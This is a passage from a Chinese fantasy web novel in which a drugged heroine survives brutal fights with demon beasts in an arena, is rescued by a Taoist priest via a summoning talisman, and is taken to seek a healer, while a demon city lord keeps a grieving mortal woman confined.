若是能一命换一命,她愿意用自己的性命来换娄弦。
眼见拂琵着急上头,唐渡静声劝道:“你留在小院,万一出什么事,你和小釉也能有个照应。”
“可是……”
拂琵依旧有些担忧,可唐道长的话也不无道理。
娄弦好不容易将她从闇狴城带出来,若是此时回去,岂不白白送上门。
她不好拖了后腿。
想罢,只能点点头,看着唐渡只身一人朝闇狴城走去。
……
斗兽馆内,娄弦被人从牢笼中拖了出来。
为了防止归元丹失效,斗兽馆的小馆又给娄弦喂下两颗。
这药实在强劲,娄弦不仅使不上劲,迷迷糊糊还总想睡觉。
在闇狴城,除了娼馆和赌场受欢迎之外,还有一处地方也颇受妖们青睐,那便是斗兽馆。
斗兽馆虽是与兽相斗,不过妖们爱看的不是精彩搏斗,而是弱者面对强者时所带来的恐惧。
所以,若是会术法的小妖或修士进了这兽场都会被喂归元丹,为的就是叫他们以肉身相搏,增加斗兽的刺激感。
以凡人之躯和兽相斗,自然必死无疑,说是斗兽,不过是换了种刺激的方式来喂养凶兽,既能叫看客兴奋,又能将兽场的凶兽喂饱,一举两得。
走过幽暗逼仄的内道,迈过台阶,沉重高大的铁门在面前打开,视野瞬间宽阔起来。
那是一块呈方形的斗兽场,四角燃着火柱,天顶上方由石器垒堆成拱形,只有中间开一圆孔。
而在门的对侧,还有一扇比之更厚的大门,不仅用铁链锁着,还用妖术封印着。看台在兽场六丈之上,里面站满了妖群,兴致勃勃在台上狂欢。
娄弦手腕的束缚一松,一股巨大的蛮力打在她后背,整个人不可控朝前摔去,她朝后转头,沉重的铁门在她身后缓缓关上,铁门阴影笼罩在他们脸上,直到门后所有人与她隔绝。
娄弦一出来,看台上的妖群又亢奋几分,无一不是呐喊高呼,叫嚷着搏斗快些开始。
整个兽场中央只有娄弦孤零零一人。恰在此时,原被铁链锁住的大门开了,妖印解除,一只黑羊精从里面冲了出来。
说是黑羊精,它的体型却比娄弦大上好几倍,螺旋外伸的大角坚硬壮硕,四肢端正而结实,硕大的身躯丝毫不影响它进攻的速度。
它像是饿极了,绵延的涎水从齿缝流出,暗红的眼睛死死盯着娄弦不放。
娄弦迅速做出反应,朝另一个方向跑去,那黑羊精的速度何其快,没两步就追上了娄弦。
察觉到身后巨大的阴影盖来,娄弦一个滑步从它身下铲过,黑羊精还没来得及掉头,娄弦便快速转向朝四角火柱跑去。
黑羊精扑了个空,心中恨恼不已,它的喉底发出含糊不清的声音,再次提腿朝娄弦袭去。
娄弦耳边都是急速的风声,虽然两腿发酸,可她不敢停下。身后的声音紧追不放,沉重的羊蹄似踏在了娄弦心上,越来越近,越来越近......
就在黑山羊龇牙准备捕杀时,娄弦踏在石墙一跃而上,找准位置拿下火炬,翻身跃到黑羊精身后。
那把火炬烧的娄弦脸颊发烫,火光映射着她谨慎的面庞,密密汗渍从额头渗出,只这一会,额前碎发便湿了大半。
她身躯半蹲,稳住呼吸,眼底的杀意已慢慢涌起。
斗兽,她最擅长不过了。
小时候被刹冥台的下人捉弄,将她丢进蛇蝎窟中,没有人来救她,她靠着一块利石从蛇蝎窟中爬了出来。
身上没有一块完好皮肤,毒素侵入心骨,痛的死去活来。
父亲为了留下这独属于他的血脉,‘好心’将她从地狱拉了回来。
看台妖群的叫嚷冲进娄弦耳里。
原以为娄弦和之前斗兽之人一样,在看到比自己大上几倍的怪物时只会盲目的逃窜,不想娄弦并不畏惧,甚至十分灵巧的躲过黑羊精两次攻击,这不是他们想要看到的结局。
“蠢货!上去咬她啊!把她的腿和胳膊都扯下来!”
“不成气候的东西!还是饿的不够狠!竟然被耍的团团转!”
或许是黑羊精听懂了看台的嘲骂,亦或是娄弦彻底惹恼了它。
它的脊背开始微拱,幽红的眼睛更加发亮,螺旋角对准娄弦,嘴咧到极致,娄弦清楚看见了它密麻的利齿。
黑羊精蓄势待发!
这一次的冲击比先前两次更猛烈。黑羊精不再追着娄弦跑,而是与她并行相驰,又以极快的速度朝娄弦靠拢。
察觉到黑羊精的意图,娄弦只能改变方向拉开和黑羊精平行的距离,可她右手边是石墙,若此番跑下去定是死路一条。
黑羊精的速度本就比她要快,很快前方去路被堵,娄弦欲转身,可黑羊精早已提腿压来。
她握紧火把朝黑羊精皮下打去,谁知它虚晃一枪,抬到半高的腿又重重落地,顶着螺旋角朝娄弦撞来。娄弦来不及收手,只觉腰腹被蛮力所击,连带着尾椎骨都要碎了,喉间腥气上涌,整个人被顶到了石墙上。
双脚悬空,大脑一片震荡,她咬紧牙关努力让自己保持清醒,手仍旧抓着火把不放。
黑羊精见她不服软,顶在腰腹的力道又重了几分,娄弦觉得自己五脏六腑都要碎了。
看台满声叫好。
“对!就是这样!趁现在杀了她!”
“给她点颜色瞧瞧!别让她活着离开!我看她能嚣张到几时!”
气氛被带动,娄弦充血的眼睛朝看台望去,群妖狂舞,他们正在不远处幸灾乐祸看她,像是提前祭奠她的死期。
这些人,真当她是吃素的!她哪会这么轻
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易死!
心底的戾气忽然涌上!
娄弦咬牙,生生将喉底的血气咽了下去。她竭力举起火把,奋力朝黑羊精的眼部扎去。
她虽不知道有没有扎中,可这下到底是伤到了黑羊精。
黑羊精吃痛,迅速抽离撞在娄弦身上的螺旋角,娄弦腰腹忽然失力,重重从石墙上掉了下来。
一口鲜血从喉间涌出,她狼狈倒在地上,无力地喘着气儿。
彼时黑羊精已经调整完毕,烧红的左眼愈发可怖,仅剩的红眼毒辣辣咬着娄弦。
娄弦抓起掉落在地的火把,率先转身朝反方向跑去,黑羊精心中记着恨,眼见娄弦要跑,不管不顾立刻追了上去。
它现在只想把娄弦嚼烂了拆骨入腹!
察觉到身后的距离在缩短,娄弦把握好时机朝墙上一跃,脚尖点在石墙向后一翻身,她稳稳落在了黑羊精身上!
黑羊精失控,开始狂奔起来,硬是要将背上的娄弦甩下。
娄弦平扑在黑羊精背上,一手抱住羊角不放,另一只手拿着火把,对着黑羊精受伤的眼睛捅去!狠狠没入!
一阵撕裂长叫,黑羊精发狂往后一仰,娄弦手臂一紧,保证自己不被甩下。腾出的手又往黑羊精另一只眼抓去。
手臂被黏腻温热包裹,娄弦面色狠厉,势要把心中的怨气散发出来。她五指用力,握住黑羊精的眼球奋力一拽,腥热的黏感甩了她一脸。
刺眼的红多么夺目,汗水打湿了娄弦的发丝,星点血渍抹上了诡丽的艳,看得人惊心动魄!
娄弦翻身从黑羊精身上滚下,手上还抓着它的眼球。娄弦目色阴沉,用力一捏,血肉糊成一滩烂泥,顺着指缝缠绵而下。
娄弦强忍小腹痛意,故意引了声音激黑羊精袭来。
方才的失利无处宣泄,娄弦的声响又似挑衅,黑羊精盲目顶着螺旋角朝她撞去,双目尽失,它哪里发觉娄弦已撤身躲过,强劲的羊角全力撞向石墙,把看台上的妖群吓得不轻。
娄弦面色苍白,浑身的力气都快用尽了,可她还是故意嘲道:“废物,你也不过如此啊。”
兽终归是兽,它哪里经得起娄弦挑衅,不过一会功夫又靠蛮力撞击而去。
“蠢货!我在这边!”
几次三番之下,黑羊精的脑袋已头破血流,羊角也被撞掉一只。就在它体力耗竭之际,娄弦瞄准一旁的羊角,迅速用锐利一头扎进黑羊精腹部。
漫天血雨倾洒而下,娄弦眼前霎时被猩红占满,她喘着气儿,不甘心又用力没入几分。
黑羊精彻底没了声息。
看台噤声。
娄弦摇摇晃晃站了起来,她浑身被血液浸染,活像地狱来的修罗。
温热液体模糊了视线,娄弦抬手轻轻揩去,冷面朝看台望去。
想看她认输?
做梦!
不远处,兽场主事对上娄弦的眼睛,原本晦暗的神色更是蒙上一层阴郁。
娄弦咧了唇,抬起手。
手中是黑羊精被摘下的眼珠,已经被捏成一团。
这是在炫耀她的战利品。
疯子!这女人一定是个疯子!
兽场主事阴晴不定的看着娄弦,心中的怨毒杀意在此刻涌至巅峰。
阴凉的声音传来。
“不要让她活过第二场。”
15. 召符
外头夕阳打斜,眼见着一天要过去了,唐渡凝了眉,心中没有任何方向。
此时,晦暗的禁所内,娄弦狼狈垂头单腿半屈,其中一只手搭在膝盖之上,又黏又湿的头发粘在脸上,暗红的血迹已分不清新旧。
为了消耗她的体力,进了兽场之后再没进过米水,她的右腿被利爪抓伤,深可见骨。
为了活下去,娄弦只能咬牙用火把摁住止血。灼痛刺痛万箭穿心,仿佛世间都不存在了,只剩下麻木和耳鸣。
眼皮有些沉重,娄弦无神的眼睛盯着地面,浑身忽冷忽热,只想好好睡一觉。困意使大脑浑浊,娄弦血肉模糊的手费力从地上抬起。
她的手中攥着根磨尖的骨牙,是趁人不备从黑羊精嘴里拔下来的,这是她下一场保命的武器。
不知过了多久,禁门再次被打开了。一道冷嘲热讽的声音响起:“你还真是命大,竟然还活着。”
刀疤脸睥睨着娄弦,语气带着狠毒:“不过好像也快死了。你下如此重的手,我们主事心中可记着呢。”
娄弦没有说话,自顾闭目休息。
这目中无人之姿叫刀疤脸眼角微抽,随后愤而招手,娄弦像刀俎上任人宰割的鱼肉拖了出去。
兽场四角的火柱已换成吊炬高高挂起,天顶中央的圆孔透着含糊不清的余光投在娄弦脸上,娄弦忍不住抬手皱眉,将那抹光亮挡在掌心。
封锁的兽门大开,娄弦倒在地上费力抬眸,模糊的兽影渐近。
那是约莫六尺有余的野罴精,前肢粗壮有力,肩背上隆起的肌肉冲击着众人的视线。贪婪的涎水从齿缝流出,上面还挂着碎肉。
它后掌着地,前掌半悬,像人一样朝娄弦走来。姿势虽怪异,可速度却算不上慢。
它的鼻子凑到娄弦身上嗅了又嗅,很快,新鲜的血液味刺激了野罴精,它黑洞般的眼睛一亮,立刻抬起熊掌朝娄弦拍去!
娄弦的瞳孔倒映出野罴精的动作,就在熊掌拍下时,娄弦一个翻身堪堪擦过。
她强撑着身子站起来,踉踉跄跄看着野罴精。
野罴精似有些意外,它原以为地上的是一摊死物,所以习惯性将人拍碎了吃,谁知她竟还活着。
到嘴的鸭子飞了,它哪能甘心!
野罴精怒而龇牙以示威胁,前掌落地迅速朝娄弦奔来。
娄弦咬牙拼命往前跑去,可一旦加大动作幅度,腿上还未愈合的伤口再次裂开。
血液顺着腿部蜿蜒流下,浸润了大片衣摆,在兽场留下一道刺目的红。
娄弦不断调整呼吸,可她的身子越来越虚空,脑袋更是像团浆糊,周遭的环境开始模糊,连看台的声音也变得遥远,她怀疑自己掉入了梦境,一个永远都醒不来的梦。
背后锥心般的痛撕裂而来,娄弦觉着自己的身子都轻了,整个人如棉絮般飘于空中,而后腹部受击,重重落了下来。
脑袋一阵眩晕,她含糊不清看着野罴精张嘴朝她咬来。
胳膊被刺穿,整个人再次被甩了出去。娄弦撞在兽场石墙,毫无还手之力滑落下来。
她尝试让自己站起来,可四肢不受控的颤抖,她发现全身上下没有一个器官是自己能感知到。
野罴精见娄弦还残喘着气,又是一掌劈在娄弦肩上,似是听见骨裂的声音,娄弦只觉自己的身子被生硬掰开了。
她像一摊烂泥倒在地上,喉间的腥甜再是抑制不住,终于吐出鲜血。
“好!打得好!千万别手下留情!快将她吃了!”
“哼!不自量力的东西,也不瞧瞧这是什么地方!”
此时,晦暗激昂的斗兽场声浪一潮高过一潮。
妖群在看台拍手叫好,他们再次看到了妖城的绝对碾压,在这一刻,前几日的积郁彻底释放。
娄弦倒在地上,小腿的皮肉已经掀起一块,露出狰狞的血肉。
右手无力搭在一旁,已经完全使不上劲了。
她带血的指尖微动,一双毫无生气的眼盯着地面,似在等待生命渐渐流逝。
这野罴精是铁了心要将娄弦弄死后再进食。
看台嘲讽声不止,娄弦的手却在慢慢攥紧。
她岂会,如此轻易被打趴下……从来都只有别人向她求饶的份,她何时求过别人……
她绝不认命!即便是死,她也不会叫人好过!
原本毫无生气的眼,此刻戾气疯长。
她挪身爬到墙沿,左手奋力攀住石墙,用力到指尖发白,一寸又一寸支撑自己站起来。
她的腿已经感受不到知觉,可那双眼却是血性。
腿伤了如何,胳膊断了又如何,这就叫她认命了?
不能够!
“你......过来......”娄弦有气无力的开口,背靠石墙,沾满血渍的手缓缓抬起,朝野罴精勾勾手。
众妖皆怒。
“真是死到临头还嘴硬!怕是那几下打的还不够狠!”
“哼,无用的斗争罢了,我看这回她是死定了。”
野罴精被娄弦的姿势惹怒,它仰天怒吼一声,四肢发出震耳声响,朝娄弦嘶吼而来。
娄弦拖着残破的身子离开石墙,野罴精速度极快,一掌拍在娄弦腰部,娄弦闷哼一声,悬至半空——
左手掏出一根食指长短的骨牙,在落地之时,娄弦以迅雷不及掩耳之势扎进野罴精的右眼,完全没入!
野罴精防不胜防,锐痛使它胡乱朝娄弦拍去。
胸前受力,锁骨断裂,娄弦再次喷出一口鲜血,重创倒地。
她再没力气站起。
空中似有什么东西飘落下来,那是娄弦被拍至空中后从衣襟处掉下来的,越来越清晰,越来越清晰,最后慢慢落在在娄弦眼前……
上面寥寥几笔,既不像困咒也不像杀咒。
“这是召符。”
“有危险你就喊唐道长名字,他会来救你。”
那抹静谧如画卷的身影再次出现在眼前。
娄弦神色迷离,伸手去够那张符纸,那张被她遗忘,现在却是她唯一希望的符纸。
“唐渡……”
她的声音很轻,轻到不确定自己喊没喊出来。
有一瞬间她甚至怀疑唐渡会不会来,可是她别无选择,只能相信,至少,娄弦现在还不想死。
……
那抹声音是从很远的地方飘来的,很轻很轻,像朵羽毛落入唐渡耳中。
他急寻的脚步顿住,宛若被谁点了穴。
召符?
这是传声召符!
前几日他写了新的召符给白小釉,白小釉为了保命,抽出其中一张给了娄弦。
所以……
唐渡蓦地回头,召符所指之处,是闇狴城兽场!
……
兽场内,野罴精缓了好久才缓过来,娄弦那一下是彻底将它激怒了。
它仰天嘶吼一声,用唯一完好的眼睛狠狠盯着娄弦,其中一只眼珠被捣烂,流着鲜血,更显狰狞。
眼见野罴精发狂朝她扑来,娄弦额角青筋暴起,拼尽全力朝前爬去,她五指抓着地面,即便抓出血也不放弃。
如果死在这,她绝对不会甘心!
巨大的阴影朝她笼来,娄弦准备拼死一搏——
就在此时,四面镇矩幡从兽场天顶的圆孔速尔飞来,它们立在娄弦周围,建起一道无形的屏障。
那野罴精来不及反应,重重撞上,霎时被撞得老远。
众人还没明白是怎么回事,一道身影从天而降。
素衣道袍,身可入画,面若凛霜萧肃。
娄弦诧异朝身后看去,在看到那
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张脸之后,她下意识喊道:“臭道士......”
那召符,真的有用,他听得见。
唐渡不知娄弦心中所想,却见她身上没有一块好皮,蜷了皮肉的腿更是触目惊心,就连胳膊都被咬穿了,就这么血淋淋耷在一侧,这是受了多少磨难……
新伤旧迹,血肉模糊。
唐渡喉结微动,他想说许多话,可千言万语堵在喉间,像是被什么黏住了,挣脱不开。
他就这么站着,良久才吐出一句自认为合理的话:“你还好么?”
娄弦突地笑了一下,语气轻松:“放心,死不了。”
她伤得实在太重了,每说一句话就得花很长时间去缓和。
唐渡抿了抿唇,眸间微暗:“那就好。”
他将目光转向野罴精,方才动容的眸光霎时被冰雪覆盖,那是隐含淡淡凉意的,报复。
野罴精被那一下打懵圈了,好半天才回过神来。
他目光紧盯野罴精,身后又放出五面黄旗妖幡,齐刷刷朝野罴精杀去!
唐渡双手翻转,迅速掐诀。
在心诀操控下,五面妖幡齐齐围住野罴精,而后放出五道金光,生生射穿了野罴精的身体。
随着一声长嚎,野罴精瞬间化为几道烟影,消散在空中。
唐渡目色俊冷,伸手揽住娄弦腰间,不等众妖反应过来,立刻掐诀遁身离开。
颈间的炽热不断烫来。
娄弦伤得太重,已经完全失去意识。
她的脸贴在唐渡颈部,任凭他背着自己朝小院跑去。
“娄弦。”唐渡喉间一滞,这是他第一次唤出她的名字,“……别睡。”
当初师父去世时也是如此,闭上眼后再也没有醒来,只能眼睁睁看着师父的身体变凉。
身后无声的应答叫唐渡莫名焦灼起来,他一遍又一遍唤着:“别睡,娄弦,别睡着。”
他从未觉得小院离闇狴城如此远,走了这么久还没走到。
拂琵听见外边的呼喊声,快步走到小院将门打开。
在开门的一刹那,拂琵惊了一惊。
娄弦小腿处的血液几乎流尽,与那身红衣融为一体。
被咬穿的胳膊发紫发肿,就这么垂在唐渡肩上,其余大大小小的伤口多瞧一眼都是心惊,苍白如纸的脸险些叫人认不出来。
“快!救人!”
白小釉和云婆婆着急从屋里出来,见娄弦血肉模糊的模样险些叫出声。
“这、这是怎么了?”白小釉边说边上前打开房门。
云婆婆赶忙指了白小釉道:“快去打盆热水来!”
白小釉往厨房小跑而去。
唐渡将娄弦放在床榻,看着昏迷不醒的娄弦,拂琵倒吸一口冷气,伸手去揭她的衣裳。
见拂琵解了娄弦的衣衫,唐渡心头一哽,赶忙将身子转了过去。
这一解更是要命,藏在衣衫下的伤口尽数暴露在眼前。
锁骨断裂,裂骨在皮下肆意突起,腰腹还有或多或少的青紫伤痕,如此触目,想必皮下的内伤更是不轻。
拂琵忍不住惊呼出声。
“怎么了?”唐渡下意识想转身,可又想到了什么,又将身子侧了回来,“她,到底怎么样?”
“这些人怎能下这么重的手!”拂琵气的手抖,几乎要哭出来。
心中的愧疚感愈发沉重。
若非是自己,娄弦也不会受这么重的伤。
唐渡心中一沉。
拂琵将被子遮到娄弦身上,抹了眼角的泪对唐渡说:“唐道长,你一定要救救阿弦,是我连累了她。”
“不。”唐渡垂眸,有些无力的朝后看去,“是我。”
是他将娄弦叫到山上寻笋的。
是和他在一起时,娄弦才受伤的。
16. 荆州阿(ē)含谷
刹冥台内,幽暗的光亮透过镂空的叶状形扇,透着朦胧暗淡。
魔尊娄焱看着冰榻上的女孩,神色不明。
若他再去的晚一点,他和阿芸的女儿恐怕已经死在蛇蝎窟了。
冰榻上的女孩皱眉,身上的疼痛叫她闷哼出声。
与阿芸有些相似的眉眼缓缓睁开。
待看清眼前之人后,女孩并未有惊喜的表情,而是麻木的、淡漠看他。
“醒了。”娄焱不咸不淡开口,并未有过多的关心,只道,“将你推下蛇蝎窟的人我解决了,日后莫要犯蠢。”
娄弦知道,他并不是在为自己出气,而是警告刹冥台的人,不要轻易取她性命。
她是他和母亲唯一的血脉,是娄焱费尽心思得来的,若她死了,那么他和母亲唯一的相连也就断了。
所以娄弦不能死,她身上同时流着他和阿芸的血。
女孩并未说话,强撑着虚弱的身体从冰榻上起来,一瘸一拐朝殿外走去。
在走出殿门时,娄焱忽然叫住了她。
“你母亲近来可好?”
阿芸不愿见他,只要他出现在她面前,她就会想方设法伤害自己。
娄焱怕阿芸受伤,强忍着思念不去看她,可又总忍不住。
女孩朝后一瞥。
她的眉眼与母亲很像,可鼻子和五官却与身后的魔尊无异,精致分明。
“不好。”
“她留在这,永远都不会好。”
院门口的梨花落了一地,无人清扫。
娄弦拖着受伤的身体进了院门,那声“娘亲”还没喊出口,就听女子冰冷的声音传来。
“你怎么还没死。”
被人推下蛇蝎窟时,母亲其实看到了,可她不愿承认。
不愿承认母亲眼睁睁看着她去死。
唤作阿芸的女子从院里出来,一双冷眸嫌恶的看着娄弦。
素裙空荡荡穿在母亲身上,弱不禁风。
她头上永远戴着一朵白花,听人说,那是为了祭奠死去的人。
这一身素雅,是在祭奠死去的那个人。
她的心上郎君。
身上的毒似乎没有那么疼了,女孩抬头,怔怔看着母亲,像乞者讨要一点点关怀。
“娘亲,我有点难受。”
她不敢说疼,怕母亲觉得矫情,更加厌恶她。
谁知方才还冷静的母亲忽然暴怒起来。
她将一盏茶丢到娄弦头上,近乎崩溃的喊道:“闭嘴!不许叫我娘亲!我不是你的娘亲!”
额头上黏腻的血液流淌下来,女孩害怕的站在原地不敢动弹。
女人疯狂的朝她砸东西,眼眶猩红,泪水奔涌而出。
她捂住脸颊痛哭起来:“你是孽种,你不该来这世上!是你们毁了我!你们都该死!都去死!”
噩梦般的声音接踵而来,拂琵看着床榻上眉头紧皱的娄弦,不由担心起来。
“唐道长,已经过去七日了,阿弦怎么还没醒?”
唐渡替娄弦疗了伤,身上的皮外伤已好的差不多了,那些骨折之处也在慢慢愈合,可人偏偏就是不醒来。
他探手覆到娄弦额头。
烧已经退了,也没有中毒入邪的迹象,到底是哪里出了问题。
白小釉端着热水从外面进来,像往常一样准备给娄弦擦拭身体。
见唐渡一脸愁容的模样,她看了看榻上的娄弦:“娄姑娘还没醒哇?”
她将热水放到桌上,叹了口气:“真是奇怪,明明娄姑娘的伤已经好的差不多了,按理来说静养些时日就会好,可我今早探脉,却发现比先前还薄弱。”
这身体还越养越差了。
拂琵蒙上一层忧虑:“这样下去不是办法,得赶紧找到问题根源才行。”
身体越来越虚弱可怎么行。
几人站在屋子里干着急。
“对了。”唐渡忽然想到了什么,神色一亮,“荆州阿含谷。”
拂琵白小釉二人看向唐渡。
荆州腹地有座山谷,名为阿含谷,谷中有一仙医名为柳式通,专喜些无治之症。
相传,柳式通的祖上原是神医巫彭座下弟子,后人界生天灾大疫,其先祖见不得人间受苦,心生慈悲故而下界立于山谷之中。
阿心慈悲满怀,妙手含灵祛病,其坐谷名为阿含。
不过,凡上山求医者,都需经一道千层阶。
谷下至谷上共一千道天阶,多数人走到一半便没了恒心,是以能在阿含谷治病的人并不多。倘若咬牙走到谷中,也并非全能被柳式通瞧上。
此人有三者不接。
非德善心厚者不接,自食其果者不接,无缘无分者不接。
若是说千层阶是许多人望而止步的理由,那柳式通的三不接更是断了大多数人的心思。
倘若费劲体力上了山谷,最终却因无缘无分者被拒,任谁都不愿去冒这个风险,因此,阿含谷便成了许多人心中不可跨越的千层阶。
白小釉虽从未出过湘城地界,可也听闻过阿含谷的大名,只是并不了解那里的规矩,只拼命点了头道:“那就去阿含谷,听闻柳谷主手段高明,就没有他治不了的疑难奇症。”
转念,她的眸光暗淡下来,颇有些遗憾的说:“如此说来,唐道长,你是不是又得离开小院了。”
唐道长一走,院子里又只剩下她跟云婆婆了。
不,这次不一样。
白小釉看向拂琵,正要说呢,谁知拂琵开口速度比她还快:“我跟唐道长一起去。”
“拂琵姐姐你也要走?”白小釉耷下嘴来。
好不容易有个能聊天还志趣相投的姐姐,怎么没待几天她也要离开了。
拂琵摸了摸白小釉的头安慰:“眼下阿弦的事情比较重要,唐道长男女有别,我在身边会方便许多。”
白小釉眨眨眼。
自化身成人后她就留在云婆婆身边了,每日除了在庙里帮人祛病换点鸡吃外,余下时间都在照顾云婆婆,哪里懂什么男女有别。
她认真问:“什么是男女有别?我们不是一块儿吃饭一块儿生活吗?娄姑娘有什么事是唐道长不能做的?”
“这……”拂琵被白小釉问住了,有些尴尬去看唐渡。
唐渡轻咳一声,没有接话,转身朝外走去:“我去收拾东西,今日出发。”
见唐渡不答,白小釉抓着拂琵追问:“唐道长怎么走了?你方便为什么唐道长就不方便了?拂琵姐姐不走不行吗……”
白小釉尚未开智,这说下去没完没了了。
拂琵搪塞几句,随便找了理由把话塞了回去,这才消停。
荆州阿含谷离湘城有两日车程。
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唐渡从镇上约了车马,又雇了车夫,待一切准备妥当,二人将娄弦带上车。
“云婆婆,小釉,你们回去吧。”拂琵掀开车帘朝云婆婆挥了挥手。
云婆婆点点头,再三嘱咐道:“路途遥远,你们三人定要注意安全,平平安安到阿含谷,记得常回家。”
拂琵在小院的时间不长,可云婆婆和小釉却是真心待她,人心肉长,难免不舍。
云婆婆也早将她们认作了自己的孩子,像当初等阿正一样等她们回来。
拂琵点了点头,又接过白小釉装满干粮的包裹,朝她们挥了挥手。
道别之后,马车轱辘转了起来,泥地上拉出两道绵长的车痕,然后顺着村路越来越远,最后消失在转角。
小院又重归平静,仿佛从来没人来过。
村间炊烟升起,已有人家开火做饭。
白小釉站在云婆婆身旁,像当初目送阿正一样目送娄弦她们离开。
“拂琵姐姐她们还会回来吗?”白小釉喃喃。
当初阿正摸着她的头,满是信心的叫她等他回来,可少年再无音讯。
“人与人之间的缘分皆有定数。”
云婆婆轻拍白小釉的脸笑道:“朋友也好,母子也罢,缘分未尽,自会相逢;缘尽于此,各执前程,一切都说不准。”
白小釉摇摇头。
她听不懂,做人实在是太复杂了,很多事情她都不理解。
拂琵说的话,云婆婆说的话,对她来说都太难了。
见白小釉一脸茫然的样子,云婆婆笑的慈蔼极了。
她牵着白小釉的手往回走:“小釉啊,饿了吗,婆婆给你烧鸡吃好不好?”
“鸡?”刚才的疑困瞬间消散,白小釉又纠结起来,“吃清炖的还是吃爆炒的呢,清炖的鲜香,可爆炒的也不差……”
……
马车出了湘城,一路北上。
唐渡和娄弦面对面坐,拂琵与娄弦相靠,将她的脑袋搭在肩上。
经过一个急坡时,马车碾过一块碎石,车厢突然颠簸起来。
娄弦的脑袋瞬间往前倒去,拂琵刚要伸手,唐渡眼疾手快,谁知一个落差,原要护头的手擦过娄弦的脸,唐渡顺势将其托住——
掌心传来微凉的温度,软嫩的触感叫唐渡呆了一呆,一时间忘了将手抽回。
“……唐道长。”拂琵在一旁默默开口,一双眼看他局促的模样。
唐渡的手宽大,娄弦的脸又小巧,偏刚才那一颠簸正好单手将娄弦的脸捧在掌心。
车厢内安静极了。
唐渡滚了滚喉结,想解释的词一个字也没说出来,抽手也不是,不抽手也不是。
“我……”
“我明白,我理解,我来我来。”拂琵很快反应过来,将娄弦的身子扶正,紧紧搂住她,以防意外再次发生。
触感抽离,唐渡的手僵在空中,五指微屈,慢慢缩回手。
车厢内再次陷入安静。
马车外是来往喧嚣闹市,唐渡僵直身子,似被贴了定身符。
又一个颠簸,这回拂琵将娄弦拥紧了。
唐渡抬眉看了拂琵一眼,掀开帘子对车夫道:“师傅,您驾的稳妥些。”
“好嘞!”
话落,马车又经过一道坎坷,唐渡身下一震,默默坐直了身子。
17. 荆州阿含谷(二)
生门殿内,魁梧松挺身影站在垄长高升的阶台之上。
一侍卫站在阶下,双手抱拳禀道:“城主,前些日在有人在城内闹事,发现了三具尸体,据说是和兽场的一名兽奴有关,此事要不要追究下去?”
站在高阶上的男子缓缓转身,余光照在他面庞半明半暗,看不清具体表情,只听他道:“我不关心此事,我只关心,那人的消息。”
话落,侍卫的脸上露出畏怯,良久才道:“禀城主,还未找到他的消息。”
“废物!找个将死之人竟如此费劲!我养你们这群废物何用!继续找!活要见人死要见尸!”
原本俊逸的脸上倏尔掀起阴厉,烛祁怒而拂袖,将站在殿内的侍卫生生打在门上,那侍卫禁不住,径直呕出一口鲜血。
来不及将嘴角的血渍抹去,侍卫赶忙爬起来应道:“是,属下这就去找!”
不敢多停留一刻,侍卫连滚带爬朝门外跑去。
烛祁捂住脑袋,一只手撑着桌案,心中怒气涌上。
差一点,就差最后那么一点他就可以取了那人性命,谁知半路却被人救下了,现今生不知死不明,真是越想越不甘心!那多管闲事之人,到底是谁!
烛祁闭上眼,深吸一口气,努力将怒气压制下去。
此时,殿外进来一侍女。
“城主。”
“何事!”烛祁不耐转身。
那侍女战战兢兢不敢耽搁,开口道:“虞姑娘今日又想离城,被云天榭的婢女劝住了,只是,今夜的安神药被虞姑娘倒了,她说,若不让她离开,日后的安神药都不必送去了。”
侍女说完,料定城主会发火,赶忙匍匐身子跪了下去,抖着肩膀不敢抬头。
在闇狴城的妖兽都知道,所有人都能招惹,唯独云天榭的那位不行。
虞姑娘虽是个凡人,可她却是城主烛祁放在心尖上的人。
烛祁对谁都暴力蛮横,唯独对虞姑娘化冰为水,小心翼翼。
当初有位新来的不知道,企图调弄虞姑娘,被城主知道后丢到万天墟供恶鬼万妖分食,自此,在无人怠慢她。
侍女身抖如筛,烛祁寒凉的目光瞥向她,声音低沉:“这点小事都办不好,我还留你做什么。”
侍女脸色大变,连连对着烛祁磕头求饶,他似听不见,手指轻轻一挥,原本还在磕头的侍女瞬间凝固,烛祁五指一握,侍女的身体如冰雕出现裂缝,最后化为碎片。
烛祁沉着脸,大步朝云天榭走去。
他自然知道虞海绒为何执意离城。
云天榭内,檐下几盏灯笼散着柔和的光亮,屋内烛光摇曳,映照出精美的雕花窗棂。床榻上铺了厚厚的貂绒褥子,毛色黑亮顺滑,暖和又惬意。恹恹的女子半躺在上面,神色无光看着窗外夜色。
周围的侍女低头站在一侧,谁也不敢随意上前搭话。
烛祁快步进屋,侍女很是识趣退了下去。
虞海绒抬头。
她生了一副柔和的面容,没有什么攻击性,眉如远黛,细长舒和,淡淡的思愁在眉间晕染开来。一头如瀑的乌发落在肩头,衬的她更加温婉怜爱。
烛祁走上前,将床褥往上扯了扯,掖住被角,柔声道:“今夜外头凉,怎么就穿了这么些。”
烛祁心中平静下来,褪去了怨火,此时的他与方才判若两人。
“有他的消息了吗?”虞海绒没有答话,只急切去抓烛祁的手。
烛祁表情一滞,而后速速消散,装不在意去拿床边的安神药。
他将勺子放到嘴边吹了吹,递到虞海绒嘴边笑着说:“侍女说你把安神药倒了,我又重新拿了一碗过来,喝了晚上才能睡好,听话。”
抓着胳膊的手缓缓松了下来,虞海绒眼中噙泪,捂住脸低声抽泣起来:“我不信他会死,他一定还活着,我要去找他,就让我去找他吧!”
烛祁的胳膊僵在原地不动,脸上仍强行挂着笑意。
他努力压制心底的妒恨,以最平静的声音安慰道:“那日我的手下亲眼看见他落入山崩裂痕,化龙之际是他最虚弱的时候,怎会有生还的希望,别多想了。”
“不!”虞海绒将脸从手心抬起,红着眼眶否认,“他是千年赤蛟,又是万妖之王,区区的山崩裂痕怎么会困住他,你是他最好的朋友,我们一起经历了那么多,你也相信他死了吗?”
烛祁端着碗的手渐渐捏紧。
过去这么久了,即便那人死了,虞海绒也依旧放不下他!自己到底哪里比不上那人!
十五年前的大旱,明明是他们两个人救了她,为何她只惦念着苍邺,连多瞧一眼自己都不愿意!
烛祁指尖泛白,再用力,这碗怕是要碎了。
他将勺子贴到虞海绒嘴边,几乎是强行想叫她喝下,可见她眼眶泛红,到底是心软下来:“喝了安神药,我再派人去寻。”
“可是——”
“我是不会让你离开闇狴城的。”烛祁打断虞海绒的话,“你身子不好,离了妖城我不放心。”
虞海绒的眸光渐渐暗淡下来。
她只是个凡人,不会术法,七岁那年的大旱又落下了病根,离了妖城恐怕还未找到苍邺,自己就先将命丢了。她得好好活着,活着才有机会等到苍邺回来。
